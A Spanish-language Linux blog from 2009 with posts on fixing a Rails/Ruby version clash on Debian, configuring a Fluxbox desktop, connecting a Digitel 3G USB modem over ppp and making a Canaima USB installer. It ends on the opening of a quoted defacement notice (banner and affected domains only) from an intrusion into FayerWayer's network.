/usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller.rb:37
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `require_frameworks'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `each'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:166:in `require_frameworks'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:87:in `process'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:47:in `send'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/initializer.rb:47:in `run'
/home/satanas/proyectos/cvacafe/sicca/config/../config/environment.rb:13
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require'
/usr/local/lib/site_ruby/1.8/rubygems/custom_require.rb:27:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:342:in `new_constants_in'
/usr/lib/ruby/gems/1.8/gems/activesupport-1.4.4/lib/active_support/dependencies.rb:495:in `require'
/usr/lib/ruby/gems/1.8/gems/rails-1.2.6/lib/tasks/misc.rake:3
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:617:in `call'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:617:in `execute'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:612:in `each'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:612:in `execute'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:578:in `invoke_with_call_chain'
/usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:571:in `invoke_with_call_chain'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:588:in `invoke_prerequisites'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:585:in `each'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:585:in `invoke_prerequisites'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:577:in `invoke_with_call_chain'
/usr/lib/ruby/1.8/monitor.rb:242:in `synchronize'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:571:in `invoke_with_call_chain'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:564:in `invoke'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2019:in `invoke_task'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `top_level'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `each'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1997:in `top_level'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2036:in `standard_exception_handling'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1991:in `top_level'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1970:in `run'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:2036:in `standard_exception_handling'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/lib/rake.rb:1967:in `run'
/usr/lib/ruby/gems/1.8/gems/rake-0.8.3/bin/rake:31
/usr/bin/rake:19:in `load'
/usr/bin/rake:19

Pues al igual que ustedes, quedé un poco chino con el error (a no ser que alguno de ustedes sea un Ruby developer :P), pero me puse a revisar unos archivos claves: /usr/lib/ruby/1.8/deprecated.rb en la línea 176 y /usr/lib/ruby/gems/1.8/gems/actionpack-1.13.6/lib/action_controller/routing.rb en la línea 994 (béndito sea el Software Libre xD) y descubrí que el problema era con la llamada a una tal función deprecate que esperaba un símbolo y no sé que diablos estaba recibiendo.

Le pregunté a un amigo (que programa conmigo el mismo sistema y no tenía el problema) por sus versiones de Ruby, Rails y las gemas. Teníamos todas las versiones exactamente iguales excepto la de Ruby; yo tenía la 1.8.7.174 y él tenía la 1.8.7.72.

Sí, aunque ustedes no lo crean yo aún uso Rails 1.2.6 con Ruby 1.8 y resulta que Debian Squeeze (testing al momento de escribir esto) me actualizó el paquete de Ruby estropeando la compatibilidad de Ruby y Rails. Sí, también sé que debo migrar a Rails 2 ¡¡¡cuanto antes!!!

Bueno la cuestión la solucioné de una manera relativamente fácil, purge mi instalación de ruby:

# aptitude purge ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby

Cambié mis repositorios a los de Debian Lenny (estable para la fecha) (/etc/apt/sources.list):

deb http://ftp.us.debian.org/debian lenny main contrib non-free
deb-src http://ftp.us.debian.org/debian lenny main contrib non-free

Actualicé la lista de paquetes:

# aptitude update

Instalé nuevamente Ruby (pero la versión de Lenny):

# aptitude install ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby

Apliqué retención a todos los paquetes anteriores (para que en una futura actualización no pase lo mismo):

# aptitude hold ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby

Y volví a poner mis repos de Squeeze:

deb http://ftp.us.debian.org/debian testing main contrib non-free
deb-src http://ftp.us.debian.org/debian testing main contrib non-free

Ahora tengo mi obsoleto y anticuado Ruby 1.8.7.72 pero que me funciona de maravillas con Rails 1.2.6 xD

Cambio y fuera

Fluxbox con esteroides en Debian

2009-09-19T17:55:00.000-07:00

Fluxbox siempre me había parecido un gestor de ventanas genial, pero consideraba que aún le faltaban algunas cosas para ser un entorno de escritorio "serio", capáz de darle competencia a GNOME... Hasta hoy.

Me puse a experimentar con la mini Acer y dije... "¿Por qué no? Vamos a meterle Fluxbox a ver que tal corre" y pues, dejénme decirle que los resultados que obtuve son simplemente impresionantes.

Al momento de hacer esto lo que tenía en mente era lograr un entorno de escritorio 100% funcional (tanto o más que GNOME) pero manteniendo siempre el bajo consumo de recursos y pensando siempre en una frase que leí una vez (si mal no recuerdo en la descripción del paquete Fluxbox para Debian):

Si quiere que su escritorio se parezca a Windows entonces no use Fluxbox

Primero vamos a instalar los paquetes básicos:
# aptitude install fluxbox conky eterm pcmanfm gqview audacious wbar
Explico para qué cada cosa:

fluxbox: Creo que es obvio ¿no? El gestor de ventanas
conky: Un monitor del sistema bien ligero y configurable
eterm: Un emulador de terminal ligero (usado en Enlightenment) o xterm para los más rudos
pcmanfm: Un explorador de archivos rápido y liviano. Para no explicar mucho diré que es un Nautilus a dieta xD. También podemos instalar thunar, el explorador de archivos de XFCE
gqview: Un visor de imágenes ligero. También podemos usar eog (el visor de imágenes de GNOME)
audacious: Un reproductor de música super liviano y parecido a Winamp (para los nostálgicos :'( )
wbar: Un dock que imita la famosa barra de Mac OS X. Útil para usarla como lanzador de aplicaciones

Nuevamente resalto que la selección de las aplicaciones se hizo en base a la premisa de "aplicaciones ligeras y de bajo consumo", sin embargo podemos instalar cualquier otra aplicación que nos guste: pidgin, inkscape, deluge, etc, etc, etc.

¡OJO! Si no tenemos instalado GNOME necesitaremos instalar unos paquetes adicionales; pero seré sincero... NO he hecho la prueba desde una instalación sin GNOME. Me imagino que instalando los paquetes (y sus dependencias) es más que suficiente pero no puedo asegurar. Si no funciona así, griten y yo intentaré probar para actualizar el post con el procedimiento correcto (o si prueban ustedes y me dicen, mejor xD). Entonces, si no tenemos problemas de espacio en el disco recomiendo instalar:

# aptitude install gnome-desktop-environment

O si son más aventureros y desean experimentar, solo instalamos:

# aptitude install gnome-power-manager gnome-settings-daemon network-manager

Bueno, vamos ahora con la parte divertida.

Configuremos Conky

Conky como dije anteriormente es un monitor de sistema muy liviano. Allí podemos monitorear cientos de parametros de nuestro equipo y se ve bastante bien con Fluxbox :)

Lo primero que debemos hacer es habilitar el soporte de la extensión Double Buffer (DBE) del servidor X para evitar el parpadeo, ya que sin ésta no logrará actualizar la pantalla con suficiente rapidez. Para ello, vamos al archivo /etc/X11/xorg.conf y agregamos una línea con Load "dbe" en la sección Section "Module". Debería verse algo así:

Section "Module"
    Load           "dbe"
    Load           "extmod"
    Load           "type1"
    Load           "freetype"
    Load           "glx"
EndSection

Luego copiamos el archivo de configuración de ejemplo que viene con el Conky a nuestra carpeta personal:

$ cp /etc/conky/conkyrc.conf ~/.conkyrc

y lo abrimos con nuestro editor de texto favorito. Se darán cuenta que el archivo está dividido en dos partes. La primera contiene las opciones de configuración del programa (alteran su comportamiento). La segunda define las variables, el texto, y los gráficos que se mostrarán en pantalla.

La cantidad de variables y opciones que se pueden manejar son muchísimas, así que dejo la lista completa de opciones para configuración y de variables a monitorear. Si eso no es suficiente, aquí pueden ver unos cuantos screenshots con sus respectivos archivos de configuración para que echen a volar su imaginación y además les dejo mi archivo de configuración (hoy me siento benevolénte :P)

# Conky, a system monitor, based on torsmo
#

alignment top_right
background no
border_width 1
cpu_avg_samples 2
default_color white
default_outline_color white
default_shade_color white
draw_borders no
draw_graph_borders yes
draw_outline no
draw_shades no
use_xft yes
xftfont DejaVu Sans Mono:size=10
gap_x 5
gap_y 60
minimum_size 5 5
maximum_width 200
net_avg_samples 2
no_buffers yes
out_to_console no
out_to_stderr no
own_window no
own_window_class Conky
own_window_type desktop
stippled_borders 0
update_interval 1.0
uppercase no
use_spacer none
show_graph_scale no
show_graph_range no

TEXT
$nodename # $sysname $kernel on $machine
$hr
${color slate grey}${time %a, }${color }${time %d %b %G}
${color grey}Uptime:$color $uptime_short
${color slate grey}Kernel: $kernel
${color black}CPU:
$color ${cpu cpu0}% ${cpubar cpu0 4}
$color ${cpu cpu1}% ${cpubar cpu1 4}

${color grey}RAM:$color $mem / $memmax
$color ${memperc}% ${membar 4}
${color grey}Swap:$color $swap / $swapmax
$color ${swapperc}% ${swapbar 4}

${color grey}Processes:$color $processes  ${color grey}Running:$color $running_processes
$hr
${color grey}File systems:
 / $color${fs_used /}/${fs_size /} 
${fs_bar 6 /}
${color grey}Networking:
Up:$color ${upspeed eth0} ${color grey} - Down:$color ${downspeed eth0}
$hr
#${color grey}Name              PID   CPU%   MEM%
#${color lightgrey} ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
#${color lightgrey} ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
#${color lightgrey} ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}
#${color lightgrey} ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}

Configuremos Wbar

Wbar es un lanzador de aplicaciones que emula algunas características de la barra de Mac OS X. Es altamente configurable y la más decente que he visto hasta ahora... ¡Toma eso Gnome-Do!

Al igual que Conky trae un archivo de configuración de ejemplo y solo debemos copiarlo a nuestra carpeta personal con el nombre .wbar:

$ cp /usr/share/wbar/dot.wbar ~/.wbar

El archivo define cada uno de los lanzadores de la barra tiene el siguiente formato:

i: /ruta/del/icono
c: comando_a_ejecutar
t: Título del lanzador

La primera entrada corresponde a la imagen de fondo de la barra y no debe llevar comando.

Recomiendo hacer una selección de los iconos que desea para cada lanzador y colocarlos en una carpeta. A continuación imprimo mi archivo de configuración de lanzadores (en mi caso hice la selección de los iconos y los coloque en una carpeta llamada personal en /usr/share/wbar/iconpack/:

i: /usr/share/wbar/iconpack/wbar.osx/osxbarback.png
c:
t: /usr/share/wbar/iconpack/wbar.osx/font/16

i: /usr/share/wbar/iconpack/personal/gnome-fs-home.png
c: pcmanfm
t: Explorador de archivos

i: /usr/share/wbar/iconpack/personal/mozicon50.xpm
c: firefox
t: Firefox

i: /usr/share/wbar/iconpack/personal/gnome-terminal.png
c: xterm
t: Terminal

i: /usr/share/wbar/iconpack/personal/pidgin-menu.xpm
c: pidgin
t: Pidgin

i: /usr/share/wbar/iconpack/personal/text-editor.png
c: gedit
t: Gedit

i: /usr/share/wbar/iconpack/personal/audacious-32.xpm
c: audacious
t: Audacious

i: /usr/share/wbar/iconpack/personal/xchat.png
c: xchat
t: XChat

La otra parte interesante del wbar son los argumentos que se le pasan al momento de ejecutarlo. A continuación la lista de opciones:

Opciones
 -config: ruta del archivo de configuración (ej: $HOME/.wbar)
 -above-desk: para ejecutarlo encima del escritorio
 -idist i: distancia entre los iconos (ej: 1)
 -isize i: tamaño de los iconos (ej: 32)
 -zoomf i: factor de zoom (ej: 1.8)
 -jumpf i: factor de salto (1.0 - 0.0)
 -pos|p: posición (top | bottom | left | right | center)
 -dblclk i: milisegundos para el double click (0: un solo clic)
 -bpress: los iconos parecen presionados al darle clic
 -vbar: barra vertical
 -balfa i: transparencia de la barra (0-100)
 -falfa i: transparencia de la barra cuando no tiene foco (0-100)
 -nofont: deshabilita el dibujado de las fuentes

Los argumentos que le paso al wbar los pueden ver en el archivo startup de Fluxbox un poco más abajo.

Configuremos Fluxbox

~/.fluxbox/init

Este archivo maneja la configuración general de Fluxbox. Podemos definir la posición, el ancho y los elementos que deseamos en la barra de tareas. El archivo es extenso y con muchas opciones, así que mostraré un pedazo de mi archivo con las opciones más relevantes. Para información más detallada ...

session.screen0.toolbar.alpha: 255                    # Transparencia de la barra de herramientas
session.screen0.toolbar.widthPercent: 100             # Ancho de la barra
session.screen0.toolbar.visible: true                 # Mostrar la barra de tareas
session.screen0.toolbar.tools: prevworkspace, workspacename, nextworkspace, iconbar, systemtray, clock  # Herramientas que deseamos motrar (y el orden en que aparecerán)
session.screen0.toolbar.placement: BottomCenter       # Posición de la barra
session.screen0.toolbar.autoHide: false               # Ocultar automaticamente
session.screen0.workspacewarping: true                # Cambiar una ventana de escritorio al moverla hacie los extremos laterales
session.screen0.workspaces: 4                         # Cantidad de escritorios
session.screen0.strftimeFormat: %d %b, %a %02k:%M:%S  # Formato de la hora del reloj
session.screen0.workspaceNames: Workspace 1,Workspace 2,Workspace 3,Workspace 4,  # Nombre de cada escritorio

# Ejecutar el wbar con un delay de 5 seg para esperar que carguen todos los demás programas
session.screen0.rootCommand: sleep 5 && wbar -pos left -above-desk -vbar -jumpf 0.0 -zoomf 1.5 -idist 1 -bpress -config $HOME/.wbar

El orden en que se definan las herramientas será el orden que tengan en la barra. Las posibles herramientas son: workspacename, prevworkspace, nextworkspace, iconbar, systemtray, prevwindow, nextwindow y clock

~/.fluxbox/startup

Aquí definimos que aplicaciones se ejecutan al inicio del sistema. Mostraré mi archivo y comentaré cada opción.

#!/bin/sh
#
# fluxbox startup-script:
#
# Lines starting with a '#' are ignored.

# Change your keymap:
xmodmap "/home/satanas/.Xmodmap"

# Applications you want to run with fluxbox.
# MAKE SURE THAT APPS THAT KEEP RUNNING HAVE AN ''&'' AT THE END.

conky -d -b &
nm-applet --sm-disable &
gnome-power-manager --sm-disable &
gnome-settings-daemon &

# And last but not least we start fluxbox.
# Because it is the last app you have to run it with ''exec'' before it.

exec fluxbox
# or if you want to keep a log:
# exec fluxbox -log "/home/satanas/.fluxbox/log"

conky -d -b: El monitor del sistema ejecutado con double buffer y en segundo plano
nm-applet: El Network Manager de GNOME que nos permite manejar nuestras redes
gnome-power-manager: El applet de GNOME que entre otas funciones nos muestra el estado de la batería
gnome-settings-daemon: El demonio de configuración de GNOME. Esto es para que podamos ver los iconos y el tema de GNOME sin problemas (necesario para pcmanfm)
wbar: La famosa barrita para lanzar aplicaciones ;)

~/.fluxbox/keys

En este archivo configuramos las combinaciones de teclas (atajos de teclado) de nuestro entorno de escritorio. Fluxbox denomina a la tecla Alt como Mod1 y a la innombrable (la tecla Super o Win) como Mod4. La sintaxis del archivo es:

[teclas]: [acción] [parámetros]

Una lista completa de posibles acciones podemos verla en http://fluxbox.sourceforge.net/docbook/en/html/x359.html

Algunos atajos útiles serían:

Cambiar de ventana con Alt + Tab
```
Mod1 Tab :NextWindow
```
Cambiar al escritorio 1 con Ctrl + F1 (se debe repetir para cada escritorio que tengamos)
```
Control F1 :Workspace 1
```
Abrir un terminal con Alt + F1
```
Mod1 F1 :Exec eterm
```
Abrir un diálogo de "Ejecutar" con Alt + F2
```
Mod1 F2 :Exec fbrun
```

Resultado

Un agradable y eficiente escritorio como el que se ve en las fotos :)

Un último tip es habilitar el plugin StatusIcon de Audacious (tal como se ve en la imagen de abajo) para que podamos minimizarlo a la bandeja de sistema (haciendo clic en el icono).

¡Uff! con tanto configurar y escribir ya me dió sueño, así que me voy. Hasta la próxima

Otras referencias:
[1] http://www.gentoo.org/doc/es/fluxbox-config.xml
[2] http://fluxbox.sourceforge.net/docbook/en/html/chap-toolbar.html
[3] http://debianitas.net/doc/minicomos/Todo%20Sobre%20FLUXBOX/html/fluxbox.html
[4] http://www.estrellateyarde.es/so/fluxbox

BAM 3G Digitel en Debian

2009-08-15T21:03:00.000-07:00

Hoy por fin tuve la oportunidad de jugar con un aparitico USB de Digitel; de esos que llaman Banda Ancha Móvil (un Huawei E160 para ser exáctos) y decidí configurarlo para conectarme desde Debian.

Anteriormente había tenido la oportunidad de configurar unas tarjetas Kiocera y unos CDU-680 de Movilnet, así que imaginé que no debía ser muy diferente, o sea una conexión ppp, unos parámetros de usuario, un número telefónico para marcar, bla, bla, bla y listo! internet parejo.

Sin embargo la cuestión es un tanto diferente respecto a los mencionados arriba, así que me tocó investigar y googlear un buen rato. Todas las soluciones que encontré lo configuraban usando wvdial, pero como soy terco quería hacerlo con ppp así que tuve que leer un poco sobre los chatscripts y hacer unas cuantas pruebas, hasta que dí con ésta solución.

Lo primero es conectar el dispositivo y ejecutar como root el comando dmesg. Deberíamos ver algo como:

USB Serial support registered for GSM modem (1-port)
option 1-5:1.0: GSM modem (1-port) converter detected
usb 1-5: GSM modem (1-port) converter now attached to ttyUSB0
option 1-5:1.1: GSM modem (1-port) converter detected
usb 1-5: GSM modem (1-port) converter now attached to ttyUSB1
usbcore: registered new interface driver option
option: v0.7.2:USB Driver for GSM modems

Ese mensaje nos indica que el dispositivo fue reconocido correctamente y está bajo el puerto ttyUSB0.

Ahora instalamos el pppconfig:
# aptitude install pppconfig
Posteriormente ejecutamos el pppconfig como root y creamos una conexión nueva. Para ello debemos completar el asistente con los siguientes parámetros:

Nombre del proveedor: conexion (aquí ponemos el nombre que queremos darle a la conexión)
DNS: Dinámico
Método de autenticación: CHAP
Nombre de usuario: digitel
Contraseña: 0000
Método de marcado: Tone
Número a marcar: *99#
Detectar automáticamente el modem: No
Puerto del modem: /dev/ttyUSB0

Guardamos y salimos del asistente.

Ahora la parte divertida (y la que me tomó tiempo en descifrar) es configurar el script de chat de la conexión que acabamos de crear para que funcione correctamente. Lo que tenemos que hacer es abrir (como root) el archivo /etc/chatscripts/conexion con nuestro editor favorito y en la sección # modem init colocar esto:

'' ATZ
'' ATZ+CPIN="0000"
OK 'ATQ0 V1 E1 +FCLASS=0'
OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'

Un chatscript es una secuencia de pares "cadena esperada" "cadena enviada", es decir, siempre esperas algo antes de enviar algo.

Si queremos enviar algo sin esperar nada debemos usar una cadena vacía al inicio (indicada por '') y de la misma manera si queremos esperar algo sin enviar nada. Es necesario saber que si queremos esperar/enviar una cadena conformada por varias palabras, debemos encerrarla entre comillas para que sea una sola entidad para el script.

Dicho esto, procedo a explicar el script de chat que he creado para la conexión digitel. Primero inicializamos el modem. Observen que no esperamos nada del modem y enviamos la cadena ATZ:

'' ATZ
Luego enviamos el PIN de la SIM Card (si lo han conectado desde Windows se habrán dado cuenta que el software que trae el dispositivo pide el código PIN al momento de iniciar la conexión):

'' ATZ+CPIN="0000"
Ahora enviamos una trama de autenticación (aún no tengo muy clara su función) esperando un OK de la fase anterior pero entre comillas porque tiene varias palabras:

OK 'ATQ0 V1 E1 +FCLASS=0'
Y por último enviamos la información del servidor DNS:

OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'
y voilá! El archivo /etc/chatscripts/conexion debería quedar algo así:

# This chatfile was generated by pppconfig 2.3.18.
# Please do not delete any of the comments.  Pppconfig needs them.
#
# ispauth CHAP
# abortstring
ABORT BUSY ABORT 'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT 'NO DIAL TO$
# modeminit
'' ATZ
'' ATZ+CPIN="0000"
OK 'ATQ0 V1 E1 +FCLASS=0'
OK 'AT+CGDCONT=1,"IP","gprsweb.digitel.ve"'
# ispnumber
OK-AT-OK "ATDT*99#"
# ispconnect
CONNECT \d\c
# prelogin

# ispname
# isppassword

Ahora vamos a probar la conexión. En un terminal ejecutaremos el siguiente comando para monitorear el progreso de la conexión:

# tail -f /var/log/messages
y en otro terminal escribiremos:

# pon conexion
El script se ejecutará, enviará las tramas que hemos especificado en la inicialización del modem y marcará el número que indicamos en la configuración de la conexión ppp para luego asignarnos una IP. Si vemos en el log la palabra Failed o Exit es porque la conexión no se realizó con éxito y debemos ejecutar nuevamente el comando pon conexion como root. El terminal ejecutando el tail de /var/log/messages mostrará el progreso de la conexión, algo como:

Aug 15 21:04:33 belzebu pppd[3615]: pppd 2.4.4 started by root, uid 0
Aug 15 21:04:34 belzebu chat[3617]: abort on (BUSY)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO CARRIER)
Aug 15 21:04:34 belzebu chat[3617]: abort on (VOICE)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO DIALTONE)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO DIAL TONE)
Aug 15 21:04:34 belzebu chat[3617]: abort on (NO ANSWER)
Aug 15 21:04:34 belzebu chat[3617]: abort on (DELAYED)
Aug 15 21:04:34 belzebu chat[3617]: send (ATZ^M)
Aug 15 21:04:34 belzebu chat[3617]: send (ATZ+CPIN="0000"^M)
Aug 15 21:04:34 belzebu chat[3617]: expect (OK)
Aug 15 21:04:34 belzebu chat[3617]: ATZ^M^M
Aug 15 21:04:34 belzebu chat[3617]: OK
Aug 15 21:04:34 belzebu chat[3617]:  -- got it
Aug 15 21:04:34 belzebu chat[3617]: send (ATQ0 V1 E1 +FCLASS=0^M)
Aug 15 21:04:34 belzebu chat[3617]: expect (OK)
Aug 15 21:04:34 belzebu chat[3617]: ^M
Aug 15 21:04:34 belzebu chat[3617]: ATZ+CPIN="0000"^M^M
Aug 15 21:04:34 belzebu chat[3617]: ERROR^M
Aug 15 21:04:34 belzebu chat[3617]: ATQ0 V1 E1 +FCLASS=0^M^M
Aug 15 21:04:34 belzebu chat[3617]: OK
Aug 15 21:04:34 belzebu chat[3617]:  -- got it
Aug 15 21:04:34 belzebu chat[3617]: send (AT+CGDCONT=1,"IP","gprsweb.digitel.ve"^M)
Aug 15 21:04:35 belzebu chat[3617]: expect (OK)
Aug 15 21:04:35 belzebu chat[3617]: ^M
Aug 15 21:04:35 belzebu chat[3617]: AT+CGDCONT=1,"IP","gprsweb.digitel.ve"^M^M
Aug 15 21:04:35 belzebu chat[3617]: OK
Aug 15 21:04:35 belzebu chat[3617]:  -- got it
Aug 15 21:04:35 belzebu chat[3617]: send (ATDT*99#^M)
Aug 15 21:04:35 belzebu chat[3617]: expect (CONNECT)
Aug 15 21:04:35 belzebu chat[3617]: ^M
Aug 15 21:04:35 belzebu chat[3617]: ATDT*99#^M^M
Aug 15 21:04:35 belzebu chat[3617]: CONNECT
Aug 15 21:04:35 belzebu chat[3617]:  -- got it
Aug 15 21:04:35 belzebu chat[3617]: send (\d)
Aug 15 21:04:36 belzebu pppd[3615]: Serial connection established.
Aug 15 21:04:36 belzebu pppd[3615]: Using interface ppp0
Aug 15 21:04:36 belzebu pppd[3615]: Connect: ppp0 <--> /dev/ttyUSB0
Aug 15 21:04:37 belzebu pppd[3615]: CHAP authentication succeeded
Aug 15 21:04:37 belzebu pppd[3615]: CHAP authentication succeeded
Aug 15 21:04:37 belzebu kernel: [ 1953.295830] PPP BSD Compression module registered
Aug 15 21:04:37 belzebu kernel: [ 1953.314554] PPP Deflate Compression module registered
Aug 15 21:04:39 belzebu pppd[3615]: Could not determine remote IP address: defaulting to 10.64.64.64
Aug 15 21:04:39 belzebu pppd[3615]: local  IP address 10.68.174.162
Aug 15 21:04:39 belzebu pppd[3615]: remote IP address 10.64.64.64
Aug 15 21:04:39 belzebu pppd[3615]: primary   DNS address 204.59.152.208
Aug 15 21:04:39 belzebu pppd[3615]: secondary DNS address 57.73.127.195

Para finalizar la conexión y retirar el modem basta con ejecutar como root:

# poff conexion
y esperar que se apague el led del aparato.

Es todo, ahí tenemos nuestra flamante conexión de banda ancha desde Debian :) Cualquier otra información útil o sugerencia es bienvenida.

Cambio y fuera

Instalador USB para GNU/Linux Canaima

2009-07-17T18:46:00.003-07:00

En esta receta explicaré como crear un instalador USB (es decir un pendrive USB booteable) para Canaima pero que con unos toques técnicos puede servir para cualquier distro.

Canaima pesa 1.3GB y por los momentos no dispone de un set de varios CDs de instalación (como Debian por ejemplo) sino únicamente en DVD. Algunos equipos todavía no cuentan con unidades lectoras de DVD, lo que hace imposible instalar Canaima desde un DVD. Pensando en esta limitante, los amigos del CNTI publicaron la imagen de un instalador USB que de ahora en adelante nos permitirá realizar la instalación de Canaima sin problemas.

Primero necesitamos satisfacer algunos requsitos:

Dependencias

# aptitude update
# aptitude install syslinux mtools mbr

Instalador USB
Descargamos la imagen del instalador USB de la página oficial de Canaima.

Pendrive USB
Ubicamos un pendrive (de al menos 2GB) sobre el cual queramos crear el instalador. Es importante resaltar que este procedimiento borrará TODOS los archivos contenidos en el pendrive, así que respalden y no lloren :P

Cumplidos los requisitos empezamos la parte divertida.

Primero conectamos el pendrive a la PC y ubicamos en que dispositivo quedó montado. Podemos conocer esa información con el comando:

# tail /var/log/messages

o también con el comando:

$ mount

Actualización 10/09/2009: Usando el comando siguiente también podemos ubicar el dispositivo donde quedó montado el pendrive (Gracias a Carlos Guerrero por el aporte).

$ fdisk -l

En mi caso quedó en /dev/sdb1.

Particularmente me gusta reparticionar el dispositivo usando fdisk, con una sola partición FAT16 y activando el flag de booteo, pero es un procedimiento opcional (y que lo dejó como tarea para el lector).

Formateamos la partición:

# mkfs.vfat -n CanaimaUSB /dev/sdb1

Instalamos el MBR:

# install-mbr /dev/sdb

Instalamos el gestor de arranque syslinux (si devuelve un error al instalar, podemos ejecutarlo con los parámetros -sf):

# syslinux /dev/sdb1

Por último montamos el pendrive nuevamente (en algunos entornos de escritorio basta con desconectar y conectar de nuevo el pendrive), nos ubicamos en la carpeta donde descargamos el instalador USB de Canaima y descomprimimos su contenido en el pendrive:

$ tar -xvzf canaima_vivo_usb_i386.tar.gz -C /media/CanaimaUSB

Al terminar esta operación tendremos un pendrive listo para instalar Canaima en cualquier equipo capaz de bootear por USB.

Nota: Para aquellos amigos que aún no tengan instalado GNU/Linux en su PC pueden descargar un liveCD de alguna distro conocida basada en Debian (Elive, Knoppix, Ubuntu, Damn Small Linux, etc) y desde allí seguir los pasos anteriores con total normalidad. (Gracias a Ángel Pérez por la sugerencia)

Noche de hackers... FayerWayer Owned (F4Y3RW4Y3R PWN3D)

2009-07-11T06:38:00.000-07:00

Esta madrugada, cerca de la media noche, mientras leía la imagen que había publicado Anti-sec en los servidores de Imageshack me dispuse a revisar el RSS de FayerWayer a ver si encontraba alguna noticia interesante y mi sorpresa es que me consigo con la siguiente noticia: "F4Y3RW4Y3R PWN3D" y cuando la abro nada más y nada menos que esto (no tiene desperdicio):

|||||||||||||||||||||||||||||||||||||||||||||||||||||
[================== 1ns3c gr0up ====================]
[------- t1nky_w1nky - d1psy - l44_l44 - p0 -------] 
     ___________  .___.____                    __          
\_   _____/  _  \ |   |    |    ________ _____/  |______   
 |    __)/  /_\  \|   |    |    \___   // __ \   __\__  \  
 |     \/    |    \   |    |___  /    /\  ___/|  |  / __ \_
 \___  /\____|__  /___|_______ \/_____ \\___  >__| (____  /
     \/         \/            \/      \/    \/          \/ 

[======================| 0wn3d |=====================]
||||||||||||||||||||||||||||||||||||||||||||||||||||||

/*
 * BetaFail (aka BetaZeta aka LoserZeta aka BetaWeeta -- thnx chilean dudes ^^) 
 * is a loser-blogger-network which claims to be experts on technology... so lets see!
 */


  ]====== 0x00 ======[ Index

[=-0x01-=] Affected domains
[=-0x02-=] Vulnerabilities
[=-0x03-=] Intrussion
[=-0x04-=] Data requesting
[=-0x05-=] Exposure
[=-0x06-=] Extras

-------------------------------------------------------------------------------

  ]====== 0x01 =======[ Affected Domains
+ The affected domains are:
|- http://www.betazeta.com
|- http://www.fayerwayer.com
|- http://www.theclinic.cl
|- http://www.saborizante.cl
|- http://leo.prieto.cl
|- http://www.betaid.org
|- http://www.wayerless.com
|- http://www.niubie.com
|- http://www.botonturbo.com
|- http://www.tecnosquad.com
